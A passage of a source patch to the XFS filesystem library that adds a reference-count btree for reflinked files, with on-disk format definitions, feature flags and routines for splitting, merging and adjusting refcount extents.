XFS_IBT_CRC_MAGIC, XFS_FIBT_CRC_MAGIC } + XFS_BMAP_CRC_MAGIC, XFS_IBT_CRC_MAGIC, XFS_FIBT_CRC_MAGIC, + XFS_REFC_CRC_MAGIC } }; #define xfs_btree_magic(cur) \ xfs_magics[!!((cur)->bc_flags & XFS_BTREE_CRC_BLOCKS)][cur->bc_btnum] @@ -1117,6 +1118,9 @@ xfs_btree_set_refs( case XFS_BTNUM_RMAP: xfs_buf_set_ref(bp, XFS_RMAP_BTREE_REF); break; + case XFS_BTNUM_REFC: + xfs_buf_set_ref(bp, XFS_REFC_BTREE_REF); + break; default: ASSERT(0); } diff --git a/libxfs/xfs_btree.h b/libxfs/xfs_btree.h index dd29d15..94848a1 100644 --- a/libxfs/xfs_btree.h +++ b/libxfs/xfs_btree.h @@ -43,6 +43,7 @@ union xfs_btree_key { xfs_alloc_key_t alloc; struct xfs_inobt_key inobt; struct xfs_rmap_key rmap; + struct xfs_refcount_key refc; }; union xfs_btree_rec { @@ -51,6 +52,7 @@ union xfs_btree_rec { struct xfs_alloc_rec alloc; struct xfs_inobt_rec inobt; struct xfs_rmap_rec rmap; + struct xfs_refcount_rec refc; }; /* @@ -66,6 +68,7 @@ union xfs_btree_rec { #define XFS_BTNUM_INO ((xfs_btnum_t)XFS_BTNUM_INOi) #define XFS_BTNUM_FINO ((xfs_btnum_t)XFS_BTNUM_FINOi) #define XFS_BTNUM_RMAP ((xfs_btnum_t)XFS_BTNUM_RMAPi) +#define XFS_BTNUM_REFC ((xfs_btnum_t)XFS_BTNUM_REFCi) /* * For logging record fields. @@ -98,6 +101,7 @@ do { \ case XFS_BTNUM_INO: __XFS_BTREE_STATS_INC(ibt, stat); break; \ case XFS_BTNUM_FINO: __XFS_BTREE_STATS_INC(fibt, stat); break; \ case XFS_BTNUM_RMAP: __XFS_BTREE_STATS_INC(rmap, stat); break; \ + case XFS_BTNUM_REFC: __XFS_BTREE_STATS_INC(refcbt, stat); break; \ case XFS_BTNUM_MAX: ASSERT(0); /* fucking gcc */ ; break; \ } \ } while (0) @@ -113,6 +117,7 @@ do { \ case XFS_BTNUM_INO: __XFS_BTREE_STATS_ADD(ibt, stat, val); break; \ case XFS_BTNUM_FINO: __XFS_BTREE_STATS_ADD(fibt, stat, val); break; \ case XFS_BTNUM_RMAP: __XFS_BTREE_STATS_ADD(rmap, stat, val); break; \ + case XFS_BTNUM_REFC: __XFS_BTREE_STATS_ADD(refcbt, stat, val); break; \ case XFS_BTNUM_MAX: ASSERT(0); /* fucking gcc */ ; break; \ } \ } while (0) @@ -205,6 +210,7 @@ typedef struct xfs_btree_cur xfs_bmbt_irec_t b; xfs_inobt_rec_incore_t i; struct xfs_rmap_irec r; + struct xfs_refcount_irec rc; } bc_rec; /* current insert/search record value */ struct xfs_buf *bc_bufs[XFS_BTREE_MAXLEVELS]; /* buf ptr per level */ int bc_ptrs[XFS_BTREE_MAXLEVELS]; /* key/record # */ @@ -217,6 +223,7 @@ typedef struct xfs_btree_cur union { struct { /* needed for BNO, CNT, INO */ struct xfs_buf *agbp; /* agf/agi buffer pointer */ + struct xfs_bmap_free *flist; /* list to free after */ xfs_agnumber_t agno; /* ag number */ } a; struct { /* needed for BMAP */ diff --git a/libxfs/xfs_format.h b/libxfs/xfs_format.h index ead7f30..0a13520 100644 --- a/libxfs/xfs_format.h +++ b/libxfs/xfs_format.h @@ -448,9 +448,11 @@ xfs_sb_has_compat_feature( #define XFS_SB_FEAT_RO_COMPAT_FINOBT (1 << 0) /* free inode btree */ #define XFS_SB_FEAT_RO_COMPAT_RMAPBT (1 << 1) /* reverse map btree */ +#define XFS_SB_FEAT_RO_COMPAT_REFLINK (1 << 2) /* reflinked files */ #define XFS_SB_FEAT_RO_COMPAT_ALL \ (XFS_SB_FEAT_RO_COMPAT_FINOBT | \ - XFS_SB_FEAT_RO_COMPAT_RMAPBT) + XFS_SB_FEAT_RO_COMPAT_RMAPBT | \ + XFS_SB_FEAT_RO_COMPAT_REFLINK) #define XFS_SB_FEAT_RO_COMPAT_UNKNOWN ~XFS_SB_FEAT_RO_COMPAT_ALL static inline bool xfs_sb_has_ro_compat_feature( @@ -521,6 +523,12 @@ static inline bool xfs_sb_version_hasrmapbt(struct xfs_sb *sbp) (sbp->sb_features_ro_compat & XFS_SB_FEAT_RO_COMPAT_RMAPBT); } +static inline bool xfs_sb_version_hasreflink(struct xfs_sb *sbp) +{ + return (XFS_SB_VERSION_NUM(sbp) == XFS_SB_VERSION_5) && + (sbp->sb_features_ro_compat & XFS_SB_FEAT_RO_COMPAT_REFLINK); +} + static inline bool xfs_sb_version_hassparseinodes(struct xfs_sb *sbp) { return XFS_SB_VERSION_NUM(sbp) == XFS_SB_VERSION_5 && @@ -633,12 +641,15 @@ typedef struct xfs_agf { __be32 agf_btreeblks; /* # of blocks held in AGF btrees */ uuid_t agf_uuid; /* uuid of filesystem */ + __be32 agf_refcount_root; /* refcount tree root block */ + __be32 agf_refcount_level; /* refcount btree levels */ + /* * reserve some contiguous space for future logged fields before we add * the unlogged fields. This makes the range logging via flags and * structure offsets much simpler. */ - __be64 agf_spare64[16]; + __be64 agf_spare64[15]; /* unlogged fields, written during buffer writeback. */ __be64 agf_lsn; /* last write sequence */ @@ -1024,6 +1035,18 @@ static inline void xfs_dinode_put_rdev(struct xfs_dinode *dip, xfs_dev_t rdev) XFS_DIFLAG_EXTSZINHERIT | XFS_DIFLAG_NODEFRAG | XFS_DIFLAG_FILESTREAM) /* + * Values for di_flags2 + * There should be a one-to-one correspondence between these flags and the + * XFS_XFLAG_s. + */ +#define XFS_DIFLAG2_REFLINK_BIT 0 /* file's blocks may be reflinked */ +#define XFS_DIFLAG2_REFLINK (1 << XFS_DIFLAG2_REFLINK_BIT) + +#define XFS_DIFLAG2_ANY \ + (XFS_DIFLAG2_REFLINK) + + +/* * Inode number format: * low inopblog bits - offset in block * next agblklog bits - block number in ag @@ -1368,7 +1391,8 @@ XFS_RMAP_INO_OWNER( #define XFS_RMAP_OWN_AG (-5ULL) /* AG freespace btree blocks */ #define XFS_RMAP_OWN_INOBT (-6ULL) /* Inode btree blocks */ #define XFS_RMAP_OWN_INODES (-7ULL) /* Inode chunk */ -#define XFS_RMAP_OWN_MIN (-8ULL) /* guard */ +#define XFS_RMAP_OWN_REFC (-8ULL) /* refcount tree */ +#define XFS_RMAP_OWN_MIN (-9ULL) /* guard */ #define XFS_RMAP_NON_INODE_OWNER(owner) (!!((owner) & (1ULL << 63))) @@ -1471,6 +1495,47 @@ xfs_owner_info_pack( } /* + * Reference Count Btree format definitions + * + */ +#define XFS_REFC_CRC_MAGIC 0x52334643 /* 'R3FC' */ + +unsigned int xfs_refc_block(struct xfs_mount *mp); + +/* + * Data record/key structure + * + * Each record associates a range of physical blocks (starting at + * rc_startblock and ending rc_blockcount blocks later) with a + * reference count (rc_refcount). A record is only stored in the + * btree if the refcount is > 2. An entry in the free block btree + * means that the refcount is 0, and no entries anywhere means that + * the refcount is 1, as was true in XFS before reflinking. + */ +struct xfs_refcount_rec { + __be32 rc_startblock; /* starting block number */ + __be32 rc_blockcount; /* count of blocks */ + __be32 rc_refcount; /* number of inodes linked here */ +}; + +struct xfs_refcount_key { + __be32 rc_startblock; /* starting block number */ +}; + +struct xfs_refcount_irec { + xfs_agblock_t rc_startblock; /* starting block number */ + xfs_extlen_t rc_blockcount; /* count of free blocks */ + xfs_nlink_t rc_refcount; /* number of inodes linked here */ +}; + +#define MAXREFCOUNT ((xfs_nlink_t)~0U) +#define MAXREFCEXTLEN ((xfs_extlen_t)~0U) + +/* btree pointer type */ +typedef __be32 xfs_refcount_ptr_t; + + +/* * BMAP Btree format definitions * * This includes both the root block definition that sits inside an inode fork diff --git a/libxfs/xfs_fs.h b/libxfs/xfs_fs.h index d7ec790..b17ccd5 100644 --- a/libxfs/xfs_fs.h +++ b/libxfs/xfs_fs.h @@ -67,6 +67,7 @@ struct fsxattr { #define XFS_XFLAG_EXTSZINHERIT 0x00001000 /* inherit inode extent size */ #define XFS_XFLAG_NODEFRAG 0x00002000 /* do not defragment */ #define XFS_XFLAG_FILESTREAM 0x00004000 /* use filestream allocator */ +#define XFS_XFLAG_REFLINK 0x00008000 /* file is reflinked */ #define XFS_XFLAG_HASATTR 0x80000000 /* no DIFLAG for this */ /* diff --git a/libxfs/xfs_refcount.c b/libxfs/xfs_refcount.c new file mode 100644 index 0000000..3e3b166 --- /dev/null +++ b/libxfs/xfs_refcount.c @@ -0,0 +1,980 @@ +/* + * Copyright (c) 2000-2001,2005 Silicon Graphics, Inc. + * Copyright (c) 2015 Oracle. + * All Rights Reserved. + * + * This program is free software; you can redistribute it and/or + * modify it under the terms of the GNU General Public License as + * published by the Free Software Foundation. + * + * This program is distributed in the hope that it would be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program; if not, write the Free Software Foundation, + * Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA + */ +#include "libxfs_priv.h" +#include "xfs_fs.h" +#include "xfs_shared.h" +#include "xfs_format.h" +#include "xfs_log_format.h" +#include "xfs_trans_resv.h" +#include "xfs_sb.h" +#include "xfs_mount.h" +#include "xfs_btree.h" +#include "xfs_bmap.h" +#include "xfs_refcount_btree.h" +#include "xfs_alloc.h" +#include "xfs_trace.h" +#include "xfs_cksum.h" +#include "xfs_trans.h" +#include "xfs_bit.h" +#include "xfs_refcount.h" + +/** + * xfs_refcountbt_lookup_le() -- Look up the first record less than or equal to + * [bno, len] in the btree given by cur. + * @cur: refcount btree cursor + * @bno: AG block number to look up + * @stat: set to 1 if successful, 0 otherwise + */ +int +xfs_refcountbt_lookup_le( + struct xfs_btree_cur *cur, + xfs_agblock_t bno, + int *stat) +{ + trace_xfs_refcountbt_lookup(cur->bc_mp, cur->bc_private.a.agno, bno, + XFS_LOOKUP_LE); + cur->bc_rec.rc.rc_startblock = bno; + cur->bc_rec.rc.rc_blockcount = 0; + return xfs_btree_lookup(cur, XFS_LOOKUP_LE, stat); +} + +/** + * xfs_refcountbt_lookup_ge() -- Look up the first record greater than or equal + * to [bno, len] in the btree given by cur. + * @cur: refcount btree cursor + * @bno: AG block number to look up + * @stat: set to 1 if successful, 0 otherwise + */ +int /* error */ +xfs_refcountbt_lookup_ge( + struct xfs_btree_cur *cur, /* btree cursor */ + xfs_agblock_t bno, /* starting block of extent */ + int *stat) /* success/failure */ +{ + trace_xfs_refcountbt_lookup(cur->bc_mp, cur->bc_private.a.agno, bno, + XFS_LOOKUP_GE); + cur->bc_rec.rc.rc_startblock = bno; + cur->bc_rec.rc.rc_blockcount = 0; + return xfs_btree_lookup(cur, XFS_LOOKUP_GE, stat); +} + +/** + * xfs_refcountbt_get_rec() -- Get the data from the pointed-to record. + * + * @cur: refcount btree cursor + * @irec: set to the record currently pointed to by the btree cursor + * @stat: set to 1 if successful, 0 otherwise + */ +int +xfs_refcountbt_get_rec( + struct xfs_btree_cur *cur, + struct xfs_refcount_irec *irec, + int *stat) +{ + union xfs_btree_rec *rec; + int error; + + error = xfs_btree_get_rec(cur, &rec, stat); + if (!error && *stat == 1) { + irec->rc_startblock = be32_to_cpu(rec->refc.rc_startblock); + irec->rc_blockcount = be32_to_cpu(rec->refc.rc_blockcount); + irec->rc_refcount = be32_to_cpu(rec->refc.rc_refcount); + trace_xfs_refcountbt_get(cur->bc_mp, cur->bc_private.a.agno, + irec); + } + return error; +} + +/* + * Update the record referred to by cur to the value given + * by [bno, len, refcount]. + * This either works (return 0) or gets an EFSCORRUPTED error. + */ +STATIC int +xfs_refcountbt_update( + struct xfs_btree_cur *cur, + struct xfs_refcount_irec *irec) +{ + union xfs_btree_rec rec; + + trace_xfs_refcountbt_update(cur->bc_mp, cur->bc_private.a.agno, irec); + rec.refc.rc_startblock = cpu_to_be32(irec->rc_startblock); + rec.refc.rc_blockcount = cpu_to_be32(irec->rc_blockcount); + rec.refc.rc_refcount = cpu_to_be32(irec->rc_refcount); + return xfs_btree_update(cur, &rec); +} + +/* + * Insert the record referred to by cur to the value given + * by [bno, len, refcount]. + * This either works (return 0) or gets an EFSCORRUPTED error. + */ +STATIC int +xfs_refcountbt_insert( + struct xfs_btree_cur *cur, + struct xfs_refcount_irec *irec, + int *i) +{ + trace_xfs_refcountbt_insert(cur->bc_mp, cur->bc_private.a.agno, irec); + cur->bc_rec.rc.rc_startblock = irec->rc_startblock; + cur->bc_rec.rc.rc_blockcount = irec->rc_blockcount; + cur->bc_rec.rc.rc_refcount = irec->rc_refcount; + return xfs_btree_insert(cur, i); +} + +/* + * Remove the record referred to by cur, then set the pointer to the spot + * where the record could be re-inserted, in case we want to increment or + * decrement the cursor. + * This either works (return 0) or gets an EFSCORRUPTED error. + */ +STATIC int +xfs_refcountbt_delete( + struct xfs_btree_cur *cur, + int *i) +{ + struct xfs_refcount_irec irec; + int found_rec; + int error; + + error = xfs_refcountbt_get_rec(cur, &irec, &found_rec); + if (error) + return error; + XFS_WANT_CORRUPTED_GOTO(cur->bc_mp, found_rec == 1, out_error); + trace_xfs_refcountbt_delete(cur->bc_mp, cur->bc_private.a.agno, &irec); + error = xfs_btree_delete(cur, i); + XFS_WANT_CORRUPTED_GOTO(cur->bc_mp, *i == 1, out_error); + if (error) + return error; + error = xfs_refcountbt_lookup_ge(cur, irec.rc_startblock, &found_rec); +out_error: + return error; +} + +/* + * Adjusting the Reference Count + * + * As stated elsewhere, the reference count btree (refcbt) stores + * >1 reference counts for extents of physical blocks. In this + * operation, we're either raising or lowering the reference count of + * some subrange stored in the tree: + * + * <------ adjustment range ------> + * ----+ +---+-----+ +--+--------+--------- + * 2 | | 3 | 4 | |17| 55 | 10 + * ----+ +---+-----+ +--+--------+--------- + * X axis is physical blocks number; + * reference counts are the numbers inside the rectangles + * + * The first thing we need to do is to ensure that there are no + * refcount extents crossing either boundary of the range to be + * adjusted. For any extent that does cross a boundary, split it into + * two extents so that we can increment the refcount of one of the + * pieces later: + * + * <------ adjustment range ------> + * ----+ +---+-----+ +--+--------+----+---- + * 2 | | 3 | 2 | |17| 55 | 10 | 10 + * ----+ +---+-----+ +--+--------+----+---- + * + * For this next step, let's assume that all the physical blocks in + * the adjustment range are mapped to a file and are therefore in use + * at least once. Therefore, we can infer that any gap in the + * refcount tree within the adjustment range represents a physical + * extent with refcount == 1: + * + * <------ adjustment range ------> + * ----+---+---+-----+-+--+--------+----+---- + * 2 |"1"| 3 | 2 |1|17| 55 | 10 | 10 + * ----+---+---+-----+-+--+--------+----+---- + * ^ + * + * For each extent that falls within the interval range, figure out + * which extent is to the left or the right of that extent. Now we + * have a left, current, and right extent. If the new reference count + * of the center extent enables us to merge left, center, and right + * into one record covering all three, do so. If the center extent is + * at the left end of the range, abuts the left extent, and its new + * reference count matches the left extent's record, then merge them. + * If the center extent is at the right end of the range, abuts the + * right extent, and the reference counts match, merge those. In the + * example, we can left merge (assuming an increment operation): + * + * <------ adjustment range ------> + * --------+---+-----+-+--+--------+----+---- + * 2 | 3 | 2 |1|17| 55 | 10 | 10 + * --------+---+-----+-+--+--------+----+---- + * ^ + * + * For all other extents within the range, adjust the reference count + * or delete it if the refcount falls below 2. If we were + * incrementing, the end result looks like this: + * + * <------ adjustment range ------> + * --------+---+-----+-+--+--------+----+---- + * 2 | 4 | 3 |2|18| 56 | 11 | 10 + * --------+---+-----+-+--+--------+----+---- + * + * The result of a decrement operation looks as such: + * + * <------ adjustment range ------> + * ----+ +---+ +--+--------+----+---- + * 2 | | 2 | |16| 54 | 9 | 10 + * ----+ +---+ +--+--------+----+---- + * DDDD 111111DD + * + * The blocks marked "D" are freed; the blocks marked "1" are only + * referenced once and therefore the record is removed from the + * refcount btree. + */ + +#define RLNEXT(rl) ((rl).rc_startblock + (rl).rc_blockcount) +/* + * Split a left rlextent that crosses agbno. + */ +STATIC int +try_split_left_rlextent( + struct xfs_btree_cur *cur, + xfs_agblock_t agbno) +{ + struct xfs_refcount_irec left, tmp; + int found_rec; + int error; + + error = xfs_refcountbt_lookup_le(cur, agbno, &found_rec); + if (error) + goto out_error; + if (!found_rec) + return 0; + + error = xfs_refcountbt_get_rec(cur, &left, &found_rec); + if (error) + goto out_error; + XFS_WANT_CORRUPTED_GOTO(cur->bc_mp, found_rec == 1, out_error); + if (left.rc_startblock >= agbno || RLNEXT(left) <= agbno) + return 0; + + trace_xfs_refcount_split_left_extent(cur->bc_mp, cur->bc_private.a.agno, + &left, agbno); + tmp = left; + tmp.rc_blockcount = agbno - left.rc_startblock; + error = xfs_refcountbt_update(cur, &tmp); + if (error) + goto out_error; + + error = xfs_btree_increment(cur, 0, &found_rec); + if (error) + goto out_error; + + tmp = left; + tmp.rc_startblock = agbno; + tmp.rc_blockcount -= (agbno - left.rc_startblock); + error = xfs_refcountbt_insert(cur, &tmp, &found_rec); + if (error) + goto out_error; + XFS_WANT_CORRUPTED_GOTO(cur->bc_mp, found_rec == 1, out_error); + return error; + +out_error: + trace_xfs_refcount_split_left_extent_error(cur->bc_mp, + cur->bc_private.a.agno, error, _RET_IP_); + return error; +} + +/* + * Split a right rlextent that crosses agbno. + */ +STATIC int +try_split_right_rlextent( + struct xfs_btree_cur *cur, + xfs_agblock_t agbnext) +{ + struct xfs_refcount_irec right, tmp; + int found_rec; + int error; + + error = xfs_refcountbt_lookup_le(cur, agbnext - 1, &found_rec); + if (error) + goto out_error; + if (!found_rec) + return 0; + + error = xfs_refcountbt_get_rec(cur, &right, &found_rec); + if (error) + goto out_error; + XFS_WANT_CORRUPTED_GOTO(cur->bc_mp, found_rec == 1, out_error); + if (RLNEXT(right) <= agbnext) + return 0; + + trace_xfs_refcount_split_right_extent(cur->bc_mp, + cur->bc_private.a.agno, &right, agbnext); + tmp = right; + tmp.rc_startblock = agbnext; + tmp.rc_blockcount -= (agbnext - right.rc_startblock); + error = xfs_refcountbt_update(cur, &tmp); + if (error) + goto out_error; + + tmp = right; + tmp.rc_blockcount = agbnext - right.rc_startblock; + error = xfs_refcountbt_insert(cur, &tmp, &found_rec); + if (error) + goto out_error; + XFS_WANT_CORRUPTED_GOTO(cur->bc_mp, found_rec == 1, out_error); + return error; + +out_error: + trace_xfs_refcount_split_right_extent_error(cur->bc_mp, + cur->bc_private.a.agno, error, _RET_IP_); + return error; +} + +/* + * Merge the left, center, and right extents. + */ +STATIC int +merge_center( + struct xfs_btree_cur *cur, + struct xfs_refcount_irec *left, + struct xfs_refcount_irec *center, + unsigned long long extlen, + xfs_agblock_t *agbno, + xfs_extlen_t *aglen) +{ + int error; + int found_rec; + + error = xfs_refcountbt_lookup_ge(cur, center->rc_startblock, + &found_rec); + if (error) + goto out_error; + XFS_WANT_CORRUPTED_GOTO(cur->bc_mp, found_rec == 1, out_error); + + error = xfs_refcountbt_delete(cur, &found_rec); + if (error) + goto out_error; + XFS_WANT_CORRUPTED_GOTO(cur->bc_mp, found_rec == 1, out_error); + + if (center->rc_refcount > 1) { + error = xfs_refcountbt_delete(cur, &found_rec); + if (error) + goto out_error; + XFS_WANT_CORRUPTED_GOTO(cur->bc_mp, found_rec == 1, + out_error); + } + + error = xfs_refcountbt_lookup_le(cur, left->rc_startblock, + &found_rec); + if (error) + goto out_error; + XFS_WANT_CORRUPTED_GOTO(cur->bc_mp, found_rec == 1, out_error); + + left->rc_blockcount = extlen; + error = xfs_refcountbt_update(cur, left); + if (error) + goto out_error; + + *aglen = 0; + return error; + +out_error: + trace_xfs_refcount_merge_center_extents_error(cur->bc_mp, + cur->bc_private.a.agno, error, _RET_IP_); + return error; +} + +/* + * Merge with the left extent. + */ +STATIC int +merge_left( + struct xfs_btree_cur *cur, + struct xfs_refcount_irec *left, + struct xfs_refcount_irec *cleft, + xfs_agblock_t *agbno, + xfs_extlen_t *aglen) +{ + int error; + int found_rec; + + if (cleft->rc_refcount > 1) { + error = xfs_refcountbt_lookup_le(cur, cleft->rc_startblock, + &found_rec); + if (error) + goto out_error; + XFS_WANT_CORRUPTED_GOTO(cur->bc_mp, found_rec == 1, + out_error); + + error = xfs_refcountbt_delete(cur, &found_rec); + if (error) + goto out_error; + XFS_WANT_CORRUPTED_GOTO(cur->bc_mp, found_rec == 1, + out_error); + } + + error = xfs_refcountbt_lookup_le(cur, left->rc_startblock, + &found_rec); + if (error) + goto out_error; + XFS_WANT_CORRUPTED_GOTO(cur->bc_mp, found_rec == 1, out_error); + + left->rc_blockcount += cleft->rc_blockcount; + error = xfs_refcountbt_update(cur, left); + if (error) + goto out_error; + + *agbno += cleft->rc_blockcount; + *aglen -= cleft->rc_blockcount; + return error; + +out_error: + trace_xfs_refcount_merge_left_extent_error(cur->bc_mp, + cur->bc_private.a.agno, error, _RET_IP_); + return error; +} + +/* + * Merge with the right extent. + */ +STATIC int +merge_right( + struct xfs_btree_cur *cur, + struct xfs_refcount_irec *right, + struct xfs_refcount_irec *cright, + xfs_agblock_t *agbno, + xfs_extlen_t *aglen) +{ + int error; + int found_rec; + + if (cright->rc_refcount > 1) { + error = xfs_refcountbt_lookup_le(cur, cright->rc_startblock, + &found_rec); + if (error) + goto out_error; + XFS_WANT_CORRUPTED_GOTO(cur->bc_mp, found_rec == 1, + out_error); + + error = xfs_refcountbt_delete(cur, &found_rec); + if (error) + goto out_error; + XFS_WANT_CORRUPTED_GOTO(cur->bc_mp, found_rec == 1, + out_error); + } + + error = xfs_refcountbt_lookup_le(cur, right->rc_startblock, + &found_rec); + if (error) + goto out_error; + XFS_WANT_CORRUPTED_GOTO(cur->bc_mp, found_rec == 1, out_error); + + right->rc_startblock -= cright->rc_blockcount; + right->rc_blockcount += cright->rc_blockcount; + error = xfs_refcountbt_update(cur, right); + if (error) + goto out_error; + + *aglen -= cright->rc_blockcount; + return error; + +out_error: + trace_xfs_refcount_merge_right_extent_error(cur->bc_mp, + cur->bc_private.a.agno, error, _RET_IP_); + return error; +} + +/* + * Find the left extent and the one after it (cleft). This function assumes + * that we've already split any extent crossing agbno. + */ +STATIC int +find_left_extent( + struct xfs_btree_cur *cur, + struct xfs_refcount_irec *left, + struct xfs_refcount_irec *cleft, + xfs_agblock_t agbno, + xfs_extlen_t aglen) +{ + struct xfs_refcount_irec tmp; + int error; + int found_rec; + + left->rc_blockcount = cleft->rc_blockcount = 0; + error = xfs_refcountbt_lookup_le(cur, agbno - 1, &found_rec); + if (error) + goto out_error; + if (!found_rec) + return 0; + + error = xfs_refcountbt_get_rec(cur, &tmp, &found_rec); + if (error) + goto out_error; + XFS_WANT_CORRUPTED_GOTO(cur->bc_mp, found_rec == 1, out_error); + + if (RLNEXT(tmp) != agbno) + return 0; + /* We have a left extent; retrieve (or invent) the next right one */ + *left = tmp; + + error = xfs_btree_increment(cur, 0, &found_rec); + if (error) + goto out_error; + if (found_rec) { + error = xfs_refcountbt_get_rec(cur, &tmp, &found_rec); + if (error) + goto out_error; + XFS_WANT_CORRUPTED_GOTO(cur->bc_mp, found_rec == 1, + out_error); + + if (tmp.rc_startblock == agbno) + *cleft = tmp; + else { + cleft->rc_startblock = agbno; + cleft->rc_blockcount = min(aglen, + tmp.rc_startblock - agbno); + cleft->rc_refcount = 1; + } + } else { + cleft->rc_startblock = agbno; + cleft->rc_blockcount = aglen; + cleft->rc_refcount = 1; + } + trace_xfs_refcount_find_left_extent(cur->bc_mp, cur->bc_private.a.agno, + left, cleft, agbno); + return error; + +out_error: + trace_xfs_refcount_find_left_extent_error(cur->bc_mp, + cur->bc_private.a.agno, error, _RET_IP_); + return error; +} + +/* + * Find the right extent and the one before it (cright). This function + * assumes that we've already split any extents crossing agbno + aglen. + */ +STATIC int +find_right_extent( + struct xfs_btree_cur *cur, + struct xfs_refcount_irec *right, + struct xfs_refcount_irec *cright, + xfs_agblock_t agbno, + xfs_extlen_t aglen) +{ + struct xfs_refcount_irec tmp; + int error; + int found_rec; + + right->rc_blockcount = cright->rc_blockcount = 0; + error = xfs_refcountbt_lookup_ge(cur, agbno + aglen, &found_rec); + if (error) + goto out_error; + if (!found_rec) + return 0; + + error = xfs_refcountbt_get_rec(cur, &tmp, &found_rec); + if (error) + goto out_error; + XFS_WANT_CORRUPTED_GOTO(cur->bc_mp, found_rec == 1, out_error); + + if (tmp.rc_startblock != agbno + aglen) + return 0; + /* We have a right extent; retrieve (or invent) the next left one */ + *right = tmp; + + error = xfs_btree_decrement(cur, 0, &found_rec); + if (error) + goto out_error; + if (found_rec) { + error = xfs_refcountbt_get_rec(cur, &tmp, &found_rec); + if (error) + goto out_error; + XFS_WANT_CORRUPTED_GOTO(cur->bc_mp, found_rec == 1, + out_error); + + if (tmp.rc_startblock == agbno) + *cright = tmp; + else { + cright->rc_startblock = max(agbno, + RLNEXT(tmp)); + cright->rc_blockcount = right->rc_startblock - + cright->rc_startblock; + cright->rc_refcount = 1; + } + } else { + cright->rc_startblock = agbno; + cright->rc_blockcount = aglen; + cright->rc_refcount = 1; + } + trace_xfs_refcount_find_right_extent(cur->bc_mp, cur->bc_private.a.agno, + cright, right, agbno + aglen); + return error; + +out_error: + trace_xfs_refcount_find_right_extent_error(cur->bc_mp, + cur->bc_private.a.agno, error, _RET_IP_); + return error; +} +#undef RLNEXT + +/* + * Try to merge with any extents on the boundaries of the adjustment range. + */ +STATIC int +try_merge_rlextents( + struct xfs_btree_cur *cur, + xfs_agblock_t *agbno, + xfs_extlen_t *aglen, + int adjust) +{ + struct xfs_refcount_irec left, cleft, cright, right; + int error; + unsigned long long ulen; + + left.rc_blockcount = cleft.rc_blockcount = 0; + cright.rc_blockcount = right.rc_blockcount = 0; + + /* + * Find extents abutting the start and end of the range, and + * the adjacent extents inside the range. + */ + error = find_left_extent(cur, &left, &cleft, *agbno, *aglen); + if (error) + return error; + error = find_right_extent(cur, &right, &cright, *agbno, *aglen); + if (error) + return error; + + /* No left or right extent to merge; exit. */ + if (left.rc_blockcount == 0 && right.rc_blockcount == 0) + return 0; + + /* Try a center merge */ + ulen = (unsigned long long)left.rc_blockcount + cleft.rc_blockcount + + right.rc_blockcount; + if (left.rc_blockcount != 0 && right.rc_blockcount != 0 && + memcmp(&cleft, &cright, sizeof(cleft)) == 0 && + left.rc_refcount == cleft.rc_refcount + adjust && + right.rc_refcount == cleft.rc_refcount + adjust && + ulen < MAXREFCEXTLEN) { + trace_xfs_refcount_merge_center_extents(cur->bc_mp, + cur->bc_private.a.agno, &left, &cleft, &right); + return merge_center(cur, &left, &cleft, ulen, agbno, aglen); + } + + /* Try a left merge */ + ulen = (unsigned long long)left.rc_blockcount + cleft.rc_blockcount; + if (left.rc_blockcount != 0 && + left.rc_refcount == cleft.rc_refcount + adjust && + ulen < MAXREFCEXTLEN) { + trace_xfs_refcount_merge_left_extent(cur->bc_mp, + cur->bc_private.a.agno, &left, &cleft); + return merge_left(cur, &left, &cleft, agbno, aglen); + } + + /* Try a right merge */ + ulen = (unsigned long long)right.rc_blockcount + cright.rc_blockcount; + if (right.rc_blockcount != 0 && + right.rc_refcount == cright.rc_refcount + adjust && + ulen < MAXREFCEXTLEN) { + trace_xfs_refcount_merge_right_extent(cur->bc_mp, + cur->bc_private.a.agno, &cright, &right); + return merge_right(cur, &right, &cright, agbno, aglen); + } + + return error; +} + +/* + * Adjust the refcounts of middle extents. At this point we should have + * split extents that crossed the adjustment range; merged with adjacent + * extents; and updated agbno/aglen to reflect the merges. Therefore, + * all we have to do is update the extents inside [agbno, agbno + aglen]. + */ +STATIC int +adjust_rlextents( + struct xfs_btree_cur *cur, + xfs_agblock_t agbno, + xfs_extlen_t aglen, + int adj, + struct xfs_bmap_free *flist, + struct xfs_owner_info *oinfo) +{ + struct xfs_refcount_irec ext, tmp; + int error; + int found_rec, found_tmp; + xfs_fsblock_t fsbno; + + error = xfs_refcountbt_lookup_ge(cur, agbno, &found_rec); + if (error) + goto out_error; + + while (aglen > 0) { + error = xfs_refcountbt_get_rec(cur, &ext, &found_rec); + if (error) + goto out_error; + if (!found_rec) { + ext.rc_startblock = cur->bc_mp->m_sb.sb_agblocks; + ext.rc_blockcount = 0; + ext.rc_refcount = 0; + } + + /* + * Deal with a hole in the refcount tree; if a file maps to + * these blocks and there's no refcountbt recourd, pretend that + * there is one with refcount == 1. + */ + if (ext.rc_startblock != agbno) { + tmp.rc_startblock = agbno; + tmp.rc_blockcount = min(aglen, + ext.rc_startblock - agbno); + tmp.rc_refcount = 1 + adj; + trace_xfs_refcount_modify_extent(cur->bc_mp, + cur->bc_private.a.agno, &tmp); + + /* + * Either cover the hole (increment) or + * delete the range (decrement). + */ + if (tmp.rc_refcount) { + error = xfs_refcountbt_insert(cur, &tmp, + &found_tmp); + if (error) + goto out_error; + XFS_WANT_CORRUPTED_GOTO(cur->bc_mp, + found_tmp == 1, out_error); + } else { + fsbno = XFS_AGB_TO_FSB(cur->bc_mp, + cur->bc_private.a.agno, + tmp.rc_startblock); + xfs_bmap_add_free(cur->bc_mp, flist, fsbno, + tmp.rc_blockcount, oinfo); + } + + agbno += tmp.rc_blockcount; + aglen -= tmp.rc_blockcount; + + error = xfs_refcountbt_lookup_ge(cur, agbno, &found_rec); + if (error) + goto out_error; + } + + /* Stop if there's nothing left to modify */ + if (aglen == 0) + break; + + /* + * Adjust the reference count and either update the tree + * (incr) or free the blocks (decr). + */ + ext.rc_refcount += adj; + trace_xfs_refcount_modify_extent(cur->bc_mp, + cur->bc_private.a.agno, &ext); + if (ext.rc_refcount > 1) { + error = xfs_refcountbt_update(cur, &ext); + if (error) + goto out_error; + } else if (ext.rc_refcount == 1) { + error = xfs_refcountbt_delete(cur, &found_rec); + if (error) + goto out_error; + 